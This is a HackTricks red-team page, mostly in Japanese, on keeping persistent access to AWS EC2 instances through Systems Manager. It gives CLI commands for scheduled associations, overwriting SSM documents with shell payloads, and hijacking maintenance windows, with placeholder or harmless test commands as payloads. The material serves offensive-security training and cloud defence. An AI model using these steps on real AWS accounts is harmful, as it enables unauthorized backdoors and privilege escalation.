AWS - SSM Perssitence

Tip

学んで実践する AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks をサポートする

SSM

詳細は以下を確認してください:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

Using ssm:CreateAssociation for persistence

ssm:CreateAssociation 権限を持つ attacker は、SSM で管理される EC2 instances 上でコマンドを自動実行する State Manager Association を作成できます。これらの association は固定間隔で実行するよう設定できるため、対話的な sessions を使わない backdoor-like persistence に適しています。

aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name

Note

この persistence method は、EC2 instance が Systems Manager によって managed されており、SSM agent が running していて、かつ attacker が associations を create する permission を持っている限り機能します。interactive sessions や明示的な ssm:SendCommand permissions は不要です。Important: --schedule-expression parameter（例: rate(30 minutes)）は AWS の minimum interval である 30 minutes に従う必要があります。即時または one-time execution の場合は、--schedule-expression を完全に省略してください — association は creation 後に一度だけ execute されます。

ssm:UpdateDocument, ssm:UpdateDocumentDefaultVersion, (ssm:ListDocuments | ssm:GetDocument)

ssm:UpdateDocument と ssm:UpdateDocumentDefaultVersion の permissions を持つ attacker は、既存の documents を modify することで privileges を escalate できます。これにより、その document 内での persistence も可能になります。実際には attacker は custom documents の name を取得するために ssm:ListDocuments も必要になり、さらに attacker が既存の document 内に payload を obfuscate したい場合は ssm:GetDocument も必要になります。

aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2

以下は、既存のドキュメントを上書きするために使用できる例のドキュメントです。invocation の問題を避けるため、ドキュメント type が target document の type と一致していることを確認したいはずです。下のドキュメントは、たとえば ssm:SendCommand と ssm:CreateAssociation の examples に対して機能します。

schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"

ssm:RegisterTaskWithMaintenanceWindow, ssm:RegisterTargetWithMaintenanceWindow, (ssm:DescribeMaintenanceWindows | ec2:DescribeInstances)

ssm:RegisterTaskWithMaintenanceWindow と ssm:RegisterTargetWithMaintenanceWindow の権限を持つ攻撃者は、まず既存の maintenance window に新しい target を登録し、その後に新しい task を更新登録することで、権限昇格できます。これにより既存の targets 上で実行できますが、新しい targets を登録することで、異なる roles を持つ compute を侵害できる場合があります。これは persistence にもつながります。maintenance windows の tasks は、window 作成時に定義された pre-defined interval で実行されるためです。実際には、攻撃者は maintenance window の IDs を取得するために ssm:DescribeMaintenanceWindows も必要になります。

aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100

Tip

学んで実践する AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks をサポートする